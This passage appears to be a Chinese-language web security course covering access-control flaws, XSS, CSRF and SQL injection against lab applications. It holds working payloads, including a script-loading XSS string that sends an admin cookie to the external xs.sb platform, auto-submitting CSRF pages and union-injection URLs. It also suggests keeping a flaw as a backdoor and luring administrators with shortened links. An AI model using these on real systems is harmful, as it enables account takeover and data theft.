1. 程式人生 > 實用技巧 >web安全入門(更新中)

web安全入門(更新中)

因為要給學弟學妹們講課,就被迫寫了個課件,pdf+我去講解,所以改為文章略微有點亂,寫的地方也有很多不足,本文如有錯誤,請及時提醒,避免誤導他人

0x01 越權漏洞

1.1漏洞概述

平行越權:比如AB兩個使用者,A使用者可以對B使用者進行檢視或者修改等等操作,同屬於一個使用者等級許可權的越權操作
垂直越權:由於沒有使用者許可權進行嚴格的判斷,導致低許可權賬號(比如普通使用者)可以去完成高許可權賬號(比如超級管理員)範圍的操作,不同等級的使用者必須處於同一個資料表。比如說我們的會員註冊點,vip1,vip2,vip3,可能在註冊的時候就判斷了level=1或者2或者3,修改就直接升級

越權漏洞屬於邏輯漏洞,由於許可權校驗的邏輯不夠嚴謹導致。
每個應用系統其使用者對應的許可權是根據其業務功能劃分的,而每個企業的業務又都一樣,因此越權漏洞是很難通過掃描工具發現出來的,往往需要通過手動進行測試

一般出現越權漏洞常見與商城,收貨地址修改id,檢視修改刪除越權。或者訂單管理處修改id檢視他人點歌單詳情,購物車等等地方居多

ID型別:加密ID,邏輯ID,自增ID

1.2平行越權靶機演示

這裡使用到了pikachu
我們來到overpermission,點選一下右上角的提示可以得到密碼
lucy/123456,lili/123456,kobe/123456
這裡我們隨便登入lucy,進入了之後可以看到檢視個人資訊

點選得到url為:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=點選檢視個人資訊


可以看到username引數就是我們的賬戶名,修改為lili
http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=點選檢視個人資訊
可以看到直接檢視到直接獲取到了其他人資訊了

1.3平行越權程式碼審計

我們可以看到url為op1_mem.php這裡我們來看該檔案,可以看到只判斷了是否登入了,跟蹤一下check_op_login函式

只是判斷了['op']['username']和
['op']['password']是否被定義

我們檢視op1_login.php其實可以看到每次登入就會定義['op']['username']和['password']

繼續往下看

if(isset($_GET['submit']) && $_GET['username']!=null){
    //沒有使用session來校驗,而是使用的傳進來的值,許可權校驗出現問題,這裡應該跟登入態關係進行繫結
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)==1){
        $data=mysqli_fetch_assoc($result);
        $uname=$data['username'];
        $sex=$data['sex'];
        $phonenum=$data['phonenum'];
        $add=$data['address'];
        $email=$data['email'];

這裡我們可以看到呼叫了escape函式跟蹤一下

function escape($link,$data){
    if(is_string($data)){
        return mysqli_real_escape_string($link,$data);
    }
    if(is_array($data)){
        foreach ($data as $key=>$val){
            $data[$key]=escape($link,$val);
        }
    }
    return $data;
}

這裡我們可以看到先判斷了$data是否為字串如果是就返回被轉義的字串,如果是陣列就把值賦值給key然後再次呼叫該函式再返回
然後看一下execute函式

//判斷一下操作是否成功,如果錯誤返回bool值,如果成功,則返回結果集
function execute($link,$query){
	$result=mysqli_query($link,$query);
	if(mysqli_errno($link)){//最近一次操作的錯誤編碼,沒錯誤返回0,沒有輸出
		exit(mysqli_error($link));//有錯誤,返回編碼,為true,則列印報錯資訊
	}
	return $result;
}

可以看到這裡就直接執行了$query,然後就是取$result為一個數組賦值給$data再輸出結果,可以判斷沒有做任何限制,導致直接修改$username就帶入資料庫查詢然後再輸出出來了

1.4垂直越權靶機演示

一樣檢視tips可以得到兩個賬戶資訊:
這裡有兩個使用者admin/123456,pikachu/000000,admin是超級boss
我們先登入pikachu,只有檢視許可權

再來登入admin賬戶,可以看到還有新增賬戶功能
這裡我們新增使用者抓包得到請求頁面為

/pikachu/vul/overpermission/op2/op2_admin_edit.php
我們退出登入,然後登入pikachu賬戶再來訪問該頁面,可以發現直接未授權訪問了

我們新增一個test賬戶可以發現成功添加了

1.5垂直越權程式碼審計

可以看到這裡判斷了level,必須為1我們才能訪問admin.php

接下來再看一下新增使用者的頁面

可以看到只判斷了是否登入,所以們普通使用者一樣可以訪問然後新增資料
這個實際怎麼利用呢?首先我們也不知道該網站下這個op2_admin_edit.php這個檔名,就算有漏洞也無法發現。首先就是根據我們的經驗,因為程式設計師在開發的時候命名規則肯定不是亂取的,比如edit.php,然後就是一些通用的cms,他們的命名規則都是一樣的,如果該版本存在這個漏洞我們就可以找到該cms,進行利用。還有就是我們的白盒審計,當然我們也可以把該漏洞留為後門,方便後期維持

1.6bluecms

越權一般是對cookies的驗證不嚴或者沒有驗證,一般我們審計後臺發現某個功能沒有包含驗證檔案,那麼很有可能發生越權操作,當然越權有很多不僅僅侷限於一個後臺訪問的問題。在眾多大型網站越權問題也時常發生的,這也是漏洞挖掘中大家都比較喜歡的,有些越權在黑盒測試中或許更加容易發現,所以程式碼審計大家靈活運用,不要侷限了你的思路。越權是個大的專題,我應該是講不了多少還是請大家多看看文章。

1.7實戰案例一

我們來到某個商城的收貨地址編輯處

url可以看到當前使用者id嘗試修改

可以直接獲取他們的個人資訊

1.7實戰案例二

我們隨便新增一個賬戶點選儲存,然後我們再點選

修改抓包

這裡嘗試修改mid,可以看到直接獲取他們資訊

0x02 xss漏洞

2.1漏洞概述

我們如何登入管理員後臺:
1.我們找到後臺地址然後輸入賬號密碼
2.我們可以不用通過輸入賬號密碼也可以嗎?

Cookie:它是一串字串,這串字串代表你的身份

PHPSESSID=osfqps4akio5l215qn4rbj8fb7(bluecms)
小tips:如果一個cookie是很多變數和值我們怎麼來新增呢,cookie其實跟php一樣也是;結尾的
比如我們這裡有個cookie然後我們替換它到我們這裡

f5重新整理就成功登入了

所以說我們登入後臺不一定要用sql注入,社工這類方法
xss的最大作用就是獲取cookie
Cookie存放於使用者的瀏覽器裡面,所以說如果可以操作你的瀏覽器就可能獲取到你的Cookie資訊
XSS其實也是注入的一種,稱為前端注入比如sql注入其實是把輸入的傳參當中sql語句執行xss是會把輸入的傳參當中前端程式碼執行,前端程式碼就包括為html,css,javascript,其中js是操作瀏覽器的語言,可能會想到我不會js怎麼辦,其實問題不大,因為我們搞滲透測試和開發不一樣,我們只需要看,或者掌握一些特殊的語法函式就行了,過多的我們不用學習,比如就單純的web就包括.net java php 前端程式碼等等,如果都掌握那就花費大多時間,就js來說,它就可以去做動畫這類,所以不用學習太深入,是沒有意義的。其實記住一句話就行xss其實就是把使用者輸入的傳參當作前端程式碼執行

xss能做什麼:
盜取cookie(最頻繁)
獲取內網ip
獲取瀏覽器儲存的明文密碼
擷取網頁螢幕
網頁上的鍵盤記錄
xss的型別:
反射型
儲存型
DOM型

2.2 反射型xss

反射型xss就是你提交的資料成功的實現了xss,但是僅僅是對你這次訪問產生了影響,你的傳參是不會進入資料庫的,是非持久的攻擊。
它需要構建一個專門的語句,如果去掉了再重新整理是不會執行的,所以反射型xss主要運用於誘騙別人去訪問你的連結來獲取你的資訊,比如說你想入侵一個系統,你知道某會員使用者喜歡小動物,說這裡面的小貓小狗好可愛來誘騙他點選
我們請求網站的過程:1.請求網站 2.網站返回前端程式碼 3.我們的瀏覽器根據前端程式碼解析執行 4.渲染出頁面
什麼情況下會你寫的東西會被當做js處理?
三種觸發方式:
1.標籤觸發:

<script></script>

我們還是來到pikachu

搜尋框我們輸入1,url為http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit
我們把1改為

<script>alert(1)</script>

可以看到彈窗了,達到了彈框的效果說明了我們輸入的語句被當作前端程式碼執行了,如果沒有成功說明把它當作字串輸出了,所以彈框一般用來證明是存在的關鍵,但是我們在證明xss最好還是不要打彈框,因為可能是儲存的,這樣每次別人訪問該網站就出現個彈框就影響了網站的正常操作,那麼我們怎麼測試?
比如在這裡我們什麼不輸入然後提交

可以看到提示我們輸入kobe試試,我們輸入1試試

可以看到他說who is 1,i don not care!
這裡我們輸入<script></script>或者輸入<hr />

這裡可以看到其實就是執行成功了,但是我們其實證明還是需要彈窗或者直接打攻擊程式碼竊取cookie,因為其他有不確定性因素
2.偽協議觸發
偽協議不同於網上所真實存在的協議比如:http://,ftp://等等,偽協議只有關聯應用才能夠用,比如php:// tencent://(QQ), javascript:偽協議實際上聲明瞭url的主體是任意的javascript程式碼,就比如說你電腦不裝php就沒有php://這個偽協議,但是你電腦什麼都不裝卻有http://,https://等協議,偽協議跟標籤不一樣,標籤是瀏覽器自動,而偽協議是點選觸發,需要別人去點選。
比如:

<a href="Javascript:alert(1)">1</a>


我們點選1,可以看到彈框成功

3.事件觸發
比如說我中獎500萬,我們高興,那麼我中獎這是一個事件,我很高興這是我的反應。
滿足某種條件自動觸發比如<img src="#" onerror=alert(11) />

2.3 儲存型xss

那麼我們如何盜取cookie呢?盜取cookie程式碼相對複雜,但是我們前輩已經有很多人搭建了,搭建xss平臺的一般來說都是做安全的,那麼說不定就往我們瀏覽器裡偷點東西,所以我們最好使用無痕的瀏覽器去訪問
比如我們打了一個雅虎,淘寶等大型網站cookie,其實在這個xss平臺的後臺也會記錄,平臺管理員就可以用我們打的cookie去一樣操作,但是一般我們正常用來他是不會管的
這裡我們就用網上的平臺https://xs.sb/xss.php

cookie是有實效性的,比如說你登入某個網站長時間不動,你就需要重新登入,keepsession就是為了保持cookie不失效,它會自己隔一段時間去幫你訪問一次防止失效,這裡來插入我們的靶機

就可以看到獲取到我們的cookie等其他資訊了

我們這裡來抓包其實就可以看到有個xs.sb的請求

這裡我們拿一個網上的靶機來測試
我們輸入111

再輸出,可以看到直接當作字串輸出出來了,說明是被轉義了我們看一下


可以看到是被轉義了

但是我們發現了這裡也存在我們輸入的script

<input name="keyword" value="<script>alert(/1/)</script>">,我們嘗試”閉合前面

輸入

" oninput=alert(1)// 結果可以看到”也被閉合了
<input name="keyword" value="&quot; oninput=alert(1)//">

再嘗試一下單引號

' oninput=alert(1)//

可以看到執行成功了

<input name="keyword" value="" oninput="alert(1)//'">

可以看到閉合了前面然後執行了程式碼,前端是給客戶用的。資料庫,後臺程式碼是給開發用的,一個企業最先考慮的一般都是使用者體驗性,其次才是安全性,前端很靈活,也有很多的相容性,所以//閉合了後面的>也不會出現問題

為什麼單引號變成了雙引號,其實這裡是瀏覽器的一個渲染效果,這裡我們在本地寫一個

<form>
<input name='id' type='text' value='<?php echo $_REQUEST['id']?>'>
<input type='submit'>
</form>

可以看到我們寫的單引號但是看到的還是雙引號,這就是瀏覽器的渲染效果,我們如何判斷呢?其實雙引號不行再單引號嘗試就行了,前提當然是存在這個漏洞的情況下,還可以直接檢視網頁原始碼

如果我們什麼都不寫呢

<form>
<input name='id' type='text' value=<?php echo $_REQUEST['id']?>>
<input type='submit'>
</form>

這個時候單雙引號都能閉合,這裡就是html的容錯性的效果

為什麼這裡只轉義雙引號不轉義單引號?
因為php裡面有個函式htmlspecialchars() ,它預設是隻轉義雙引號的,所以有些程式設計師就以為用了這個函式就可以杜絕此類漏洞產生

<form>
<input name='id' type='text' value='<?php echo htmlspecialchars($_REQUEST['id'])?>'>
<input type='submit'>
</form>

我們輸入12”結果為<input name="id" type="text" value="12&quot;">
我們輸入12'結果為<input name="id" type="text" value="12" '="">
當然也可以過濾單引號就需要加上ENT_QUOTES,這樣單雙都過濾了

htmlspecialchars($_REQUEST['id'],ENT_QUOTES)

儲存xss一般出現點:任何可能插入資料庫的地方,比如:使用者註冊的時候,留言板,上傳檔名,以及管理員可見的報錯資訊
不進入資料庫可不可能存在儲存型xss?資料是不一定儲存在資料庫裡面的,其實存不存入資料庫跟儲存型xss不沒有關聯的,它的本質就是儲存起來然後釋放出來,所以你儲存在一個txt一個log檔案裡面,或者某個快取裡面都可以的,比如一個cms你登陸錯誤會有日誌產生,那我們把前臺登入資訊改為惡意程式碼,那麼就在日誌裡面出現了問題

儲存型xss一定要在有框的地方才行嘛?比如有些cms你在後臺登入,會提示上次登入ip,那麼我們是否可以操作xff呢,這裡還有個小demo,這裡我們有個10分鐘郵箱,是用來臨時接受郵箱資訊的,我們給他發我們的xss程式碼過去
http://24mail.chacuo.net/

可以看到也成功彈窗了,這裡就有個總結:
使用者的輸入,一般控制的很嚴格。系統的獲取,一般控制的不嚴格
使用者的輸入就是我們輸入進去的東西,系統的獲取例如我從資料庫中獲取,我接受到的郵件,我收到的資訊等等,就比如一個釣魚的手法,我們釣魚管理員的時候我們讓他去下載別的網站的檔案他可能就會有所懷疑,但是如果把木馬檔案存放在他自己的網站裡面,他可能就不會懷疑

2.4 xss程式碼審計一

這裡我們用到finecms v5.3.0
這裡需要設定網站根目錄

這套cms會把錯誤日誌展示到後臺裡面,而且寫入的時候
沒有過濾
比如我們隨便新增一個m引數
http://127.0.0.1/index.php?c=category&id=3&m=222

可以看到後臺就存在錯誤日誌
所以我們構造我們的payload
127.0.0.1/index.php?c=category&id=3&m=<sCRiPt/SrC=//xs.sb/ZqEW>
在後臺重新整理檢視,可以看到成功打到了cookie

這裡我們當前使用者為123456,替換掉cookie後重新整理


可以看到直接為admin賬戶了
我們來到程式碼這個問題出現在\finecms\finecms\system\core\Log.php該檔案的170行的write_log函式

然後在傳遞給fwrite方法的時候沒有做任何過濾

然後我們尋找呼叫write_log函式的地址G:\phpstudy\PHPTutorial\WWW\cms\finecms\finecms\system\core\Common.php

繼續檢視呼叫log_message函式的位置
G:\phpstudy\PHPTutorial\WWW\cms\finecms\finecms\system\core\Exceptions.php
可以看到這個show_404呼叫了
log_message方法

2.4 xss程式碼審計二

這裡使用了熊海,然後來到後臺重新整理


先提交抓包看下請求包為

先來到index.php

可以看到請求的為files的目錄下的get引數檔案,這裡就為submit開啟
可以看到除了內容其他都沒有過濾

2.5 DOM XSS

DOM—based XSS漏洞是基於文件物件模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、程式語言無關的介面,它允許程式或指令碼動態地訪問和更新文件內容、結構和樣式,處理後的結果能夠成為顯示頁面的一部分。DOM中有很多物件,其中一些是使用者可以操縱的,如uRI,location,refelTer等。客戶端的指令碼程式可以通過DOM動態地檢查和修改頁面內容,它不依賴於提交資料到伺服器端,而從客戶端獲得DOM中的資料在本地執行,如果DOM中的資料沒有經過嚴格確認,就會產生DOM—based XSS漏洞。

DOM其實就是通過js操作瀏覽器,這就是一個dom樹
所謂的樹就是有樹枝,樹幹,分支

Document物件使我們可以從指令碼中對HTML頁面中的所有元素進行訪問
Document物件屬性

document.cookie可以獲取cookie但是有時候確獲取不了,這是因為httponly的原因這是防禦的一種手段
我們最常用的就是lastModified我們如果獲取的時間f5重新整理不變的話說明是個靜態網站反之動態
document.write寫內容到頁面上
頁面分為:動態和靜態
偽靜態:動態頁面偽裝成靜態頁面,讓黑客不去攻擊。靜態頁面無法產生嚴重的攻擊,因為它沒法跟網站進行傳參的
幾大常見的dom xss
document.write(支援native編碼)
innerHTML(用來設定或獲取位於物件起始和結束標籤內的HTML)
eval(當中程式碼執行)
http://127.0.0.1/1.html?name=
DOM型xss=>通過js處理後產生的xss,不是儲存也不是反射,但是一般來說是反射

<script>
var pos=document.URL.indexOf("name=")+5;
var username = unescape(document.URL.substring(pos,document.URL.length));
var r='<b>'+username+'</b>'
document.write(r);
</script>

比如說這裡我們構造一個xss發給受害者,這裡其實就是形成一個類似反射的,這個就是dom型xss,就是js處理後的xss,而且不會在伺服器日誌裡面留下任何痕跡

<div id='test'>1</div>
<input type="button" onclick=fun() value="點選有驚喜">
<script>
	function fun(){
	var url = unescape(document.URL);
	var pos = url.indexOf("name=")+5;
	document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';}
</script>

可以看到說可以設定那麼

document.getElementById("test").innerHTML='<img src=# onerror=alert(1) />'

這裡script標籤是不行的,這裡記住就行,這是規則問題

那麼這裡利用就是http://127.0.0.1/2.html?name=再點選就可以了

<h1>hello world</h1>
<script>
var a = location.hash.substr(1);
eval(a);
</script>

location.hash其實就是個錨點(舉例百度百科目錄),可以理解為本頁面的超連結
比如我們構造http://127.0.0.1/3.html#11再location.hash.substr();為#11,輸入1就是輸出#後面的全部

http://127.0.0.1/3.html#alert(2)

這裡看到一個聊天框
新增

<script>alert(1)</script>

被安全狗攔截
http://aaa.com/dom_xss/?id=<script>alert(1)</script>

前文說到document.write支援native編碼
http://tool.chinaz.com/Tools/native_ascii.aspx
http://www.aa.com//dom_xss/?aa=\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

我們同理把我們的攻擊程式碼編碼然後誘騙管理員來點選即可,比如說這裡有個反饋頁面


這裡填寫我們的惡意地址,可以轉成短連結

然後等待上鉤
某一些網站,尤其是asp的網站,他檢測到我們沒有登入,彈窗提醒,點選返回原頁面,很多都是隻通過js判斷,我們直接禁用js直接就訪問後臺了,這裡怎麼判斷呢?比如我們看存在問題的站點,抓包然後看到

他是通過js判斷的,這裡我們禁用js,再訪問

可以看到直接訪問成功了,我們一個正常的跳轉發包是302,那就是後端驗證

0x03 CSRF漏洞

3.1漏洞概述

攻擊者盜用了你的身份,以你的名義傳送惡意請求,對伺服器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義傳送郵件、發訊息,盜取你的賬號,新增系統管理員,甚至於購買商品、虛擬貨幣轉賬等
CSRF分為get型和post型
1.get型
假如我們新增一個使用者管理員url為/add.php?&username=test&password=test,我們就可以把這個url傳送給管理員,讓他們代替我們訪問
2.post型
比如我們刪除某篇文章post資料為文章id,那麼我們構造出頁面修改id就可以讓受害者點選刪除文章

簡單點說,csrf其實就是網站cookie在瀏覽器裡面沒有過期,只要不關閉瀏覽器或者退出登入,那以後只要訪問這個網站,都會預設你已經登入得狀態,在這個期間攻擊者傳送構造好得csrf指令碼或者包含csrf的連結,可能會執行一些不想做的功能


核心在於缺乏驗證
1.像驗證碼是他最好的防禦方法
2.開發為了安全設定token(一個驗證機制,每個請求的表單裡面都存在一個欄位,這個欄位就是token,比如我們登入了就setcookie,然後在cookie裡面就存在一個token,我們再請求包裡新增一個傳參請求欄位為token=xxx,當資料包裡面的傳參的token=你的cookie裡面的token,就認定你為安全的,大部分的token是不可以偽造的,比如隨機數,還有小部分可以比如時間戳)
如何判斷是否存在CSRF漏洞?
1 . 判斷Referer(Referer值不可被偽造)
2. Token驗證(Token是否擺設)
3. 頭部驗證(Authorizaton)

3.2靶機演示

依然來到我們的pikachu
1.get型
看一下小tips
這裡一共有這麼些使用者vince/allen/kobe/grady/kevin/lucy/lili,密碼全部是123456
這裡我們就來登入vince和allen測試

可以看到兩個賬戶的資訊
這裡我們點選修改allen的個人資料,抓包可以知道位get請求,請求url為
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=nba+76&email=allen%40pikachu.com&submit=submit,然後我們構造出惡意網頁讓vince受害者去點選它

構造頁面可以用img src去載入

<img src=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png>
<img src=http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=nba+76&email=allen%40pikachu.com&submit=submit>

誘導受害者點選

可以看到資訊成功修改了
2.post型
修改頁面抓包

POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Cookie: think_template=default; PHPSESSID=4pcfj8d68kckejmbnb70m1n0t7
Upgrade-Insecure-Requests: 1

sex=boy&phonenum=123456789&add=aaaa&email=allen%40pikachu.com&submit=submit

這裡用bp構造poc
誘導kobe使用者訪問我們html

可以看到資訊修改成功
3.token
來到token_get_edit.php

跟蹤一下set_token()

該函式會把SESSION中Token銷燬,然後生成一個新的Token,並將這個Token傳到前端表單中
而當每次提交表單時,這個Token值就會傳到後臺與SESSION中的Token進行比較,若不相等,此次表單則提交失敗。所以黑客由於不能得知使用者當前的Token值,從而無法進行CSRF攻擊

3.3 74cms

這裡來到後臺,點選系統,網站管理員,點選新增管理員抓包http://127.0.0.1/cms/csrf_74cms/index.php?m=admin&c=index&a=index

通過burp構造csrf poc

修改我們poc這裡新增一個admin2賬戶

網站管理員點選

我們可以知道bp構造的poc每次都要受害者去點選這裡其實我們可以再表單下面新增一個js自動提交

<script> document.forms[0].submit(); </script>

poc為

還可以更加隱蔽

<img src=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png>
<iframe src="./csrf.html" height="0" width="0">

直接長度寬度設定為0

3.4 實戰環境

點選新增收貨地址,抓包
構造poc
新增成功

DedeCMS-V5.7-UTF8-SP1
url:http://127.0.0.1/index.php?upcache=1
後臺:http://127.0.0.1/dede/login.php?gotopage=%2Fdede%2F

構造poc
http://127.0.0.1/uploads/1.php

0x04 sql注入

4.1 mysql操作

1.建立資料庫
mysql> Create database admin;
Query OK, 1 row affected (0.00 sec)

2.查詢所有資料庫
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin |
+--------------------+
14 rows in set (0.00 sec)

3.使用資料庫 新建一個表
mysql> use admin;
Database changed
mysql> create table users(id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.38 sec)

4.檢視資料庫,插入資料
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)

mysql> insert into users(id,username,password) values(1,"admin","admin");
Query OK, 1 row affected (0.00 sec)

5.查詢
mysql> select username from users;
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set (0.00 sec)

mysql> select * from users;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)

6.查詢 where 語句
mysql> select * from users where id =1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
7.查看錶資訊
mysql> desc schemata;
+----------------------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| CATALOG_NAME | varchar(512) | NO | | | |
| SCHEMA_NAME | varchar(64) | NO | | | |
| DEFAULT_CHARACTER_SET_NAME | varchar(32) | NO | | | |
| DEFAULT_COLLATION_NAME | varchar(32) | NO | | | |
| SQL_PATH | varchar(512) | YES | | NULL | |
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.00 sec)

mysql5.0上下有區別5.0以下是多使用者單操作,5.0以上是多使用者多操作
在MySQL5.0以下,沒有information_schema這個系統表,無法列表名等,只能暴力跑表名
在MySQL5.0以上,MySQL中預設添加了一個名為 information_schema 的資料庫,該資料庫中的表都是隻讀的,不能進行更新、刪除和插入等操作
我們經常用到的幾個表

SCHEMATA表 : 提供了當前mysql例項中所有資料庫的資訊。

TABLES 表 : 提供了關於資料庫中的表的資訊。

COLUMNS 表 :提供了表中的列資訊

SCHEMATA表:
mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | 74cms | utf8 | utf8_general_ci | NULL |
| def | admin | utf8 | utf8_general_ci | NULL |
| def | bluecms | utf8 | utf8_general_ci | NULL |
| def | dedecmsv57utf8sp1 | utf8 | utf8_general_ci | NULL |
| def | dedecmsv57utf8sp2 | utf8 | utf8_general_ci | NULL |
| def | finecms | utf8 | utf8_general_ci | NULL |
| def | mysql | utf8 | utf8_general_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | pikachu | utf8 | utf8_general_ci | NULL |
| def | test | latin1 | latin1_swedish_ci | NULL |
| def | xhcms | utf8 | utf8_general_ci | NULL |
| def | xionghai | utf8 | utf8_general_ci | NULL |
| def | zzzcms | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
14 rows in set (0.00 sec)

TABLES:
mysql> select table_name from information_schema.tables where table_schema="admin";
+------------+
| table_name |
+------------+
| users |
+------------+
1 row in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema=0x61646D696E;
+------------+
| table_name |
+------------+
| users |
+------------+
1 row in set (0.00 sec)

COLUMNS:
mysql> select column_name from information_schema.columns where table_schema="admin";
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)

user 表儲存的使用者密碼 和host等等資訊
mysql> select user,password from user;
+------+-------------------------------------------+
| user | password |
+------+-------------------------------------------+
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+------+-------------------------------------------+
3 rows in set (0.00 sec)

ORDER BY 語句用於根據指定的列對結果集進行排序。
如果您希望按照降序對記錄進行排序,可以使用 DESC 關鍵字。
mysql> select * from users where id =1 order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id =1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

UNION 操作符用於合併兩個或多個 SELECT 語句的結果集。
mysql> select * from users where id =1 union select 1,2,3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
| 1 | 2 | 3 |
+------+----------+----------+
2 rows in set (0.00 sec)

ascii(str) : 返回給定字元的ascii值,如果str是空字串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回給定字串的長度,如 length("string")=6
substr(string,start,length) : 對於給定字串string,從start位開始擷取,擷取length長度 ,如 substr("chinese",3,2)="in"
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三個函式的用法、功能均一致
concat(username):將查詢到的username連在一起,預設用逗號分隔

concat(str1,'',str2):將字串str1和str2的資料查詢到一起,中間用連線

group_concat(username) :將username資料查詢在一起,用逗號連線
limit 0,1:查詢第1個數 limit 5:查詢前5個 limit 1,1: 查詢第2個數 limit n,1: 查詢第n+1個數

也可以 limit 1 offset 0

單行註釋:# --
多行註釋:/**/

4.2 版本收集與路徑

識別資料庫版本有助於我們進一步對資料庫進行注入我們可以用到 version() @@version /!版本號/
/!/ 意為在xxx版本之上執行
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)

mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id =-1 union select 1,/!50553user()/,3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 1 | root@localhost | 3 |
+------+----------------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id =-1 union select 1,/!50554user()/,3;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3' at line 1
其中version是5位數字的版本號,只有MySQL版本大於或者等於此版本才會執行其後的SQL語句,如果省略版本號,則都會執行
路徑的話一般用@@datadir就可以瞭然後大概反猜下網站路徑 作業系統 @@version_compile_os
mysql> select @@datadir;
+-------------------------------------+
| @@datadir |
+-------------------------------------+
| G:\phpstudy\PHPTutorial\MySQL\data\ |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win32 |
+----------------------+
1 row in set (0.00 sec)

version(): 查詢資料庫的版本
user():查詢資料庫的使用者
database():資料庫
system_user():系統使用者名稱
session_user():連線資料庫的使用者名稱
current_user:當前使用者名稱
load_file():讀取本地檔案
@@datadir:讀取資料庫路徑
@@basedir:mysql安裝路徑
@@version_complie_os:檢視作業系統

4.3 判斷是否存在注入

1.閉合操作看是否報錯,如果報錯可能存在
2.and 1=1 或者 and 1=2 等操作,and 1>2 一樣,看是否顯示一樣
3.時間盲注,and sleep(10)會延遲10秒
容易出現sql注入的地方
凡是和資料庫有互動的地方都容易出現SQL注入,SQL注入經常出現在登陸頁面、涉及獲取HTTP頭(user-agent / client-ip等)的功能點及訂單處理等地方。例如登陸頁面,除常見的萬能密碼,post 資料注入外也有可能發生在HTTP頭中的 client-ip 和 x-forward-for 等欄位處。這些欄位是用來記錄登陸的 i p的,有可能會被儲存進資料庫中從而與資料庫發生互動導致sql注入。

4.4 union聯合注入

union聯合查詢適用於有顯示列的注入,我們可以通過order by判斷列數,前面解釋了原因
包括後面我們演示的都是sqllabs,為了方便演示我們新增程式碼,把sql語句全部顯示出來
echo $sql."
";
1.判斷是否存在注入
http://127.0.0.1/sql/Less-2/?id=1 and 1=1 --+ 正常
http://127.0.0.1/sql/Less-2/?id=1 and 1=2 --+ 不正常
2.判斷多少列
http://127.0.0.1/sql/Less-2/?id=1 order by 3 --+ 正常
http://127.0.0.1/sql/Less-2/?id=1 order by 4 --+ 不正常
說明3列
3.判斷顯示的列
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3 --+
返回2,3
4.查詢表名
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
返回emails,referers,uagents,users
5.查詢users表下的列
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users" --+
返回id,username,password
6.查詢資料
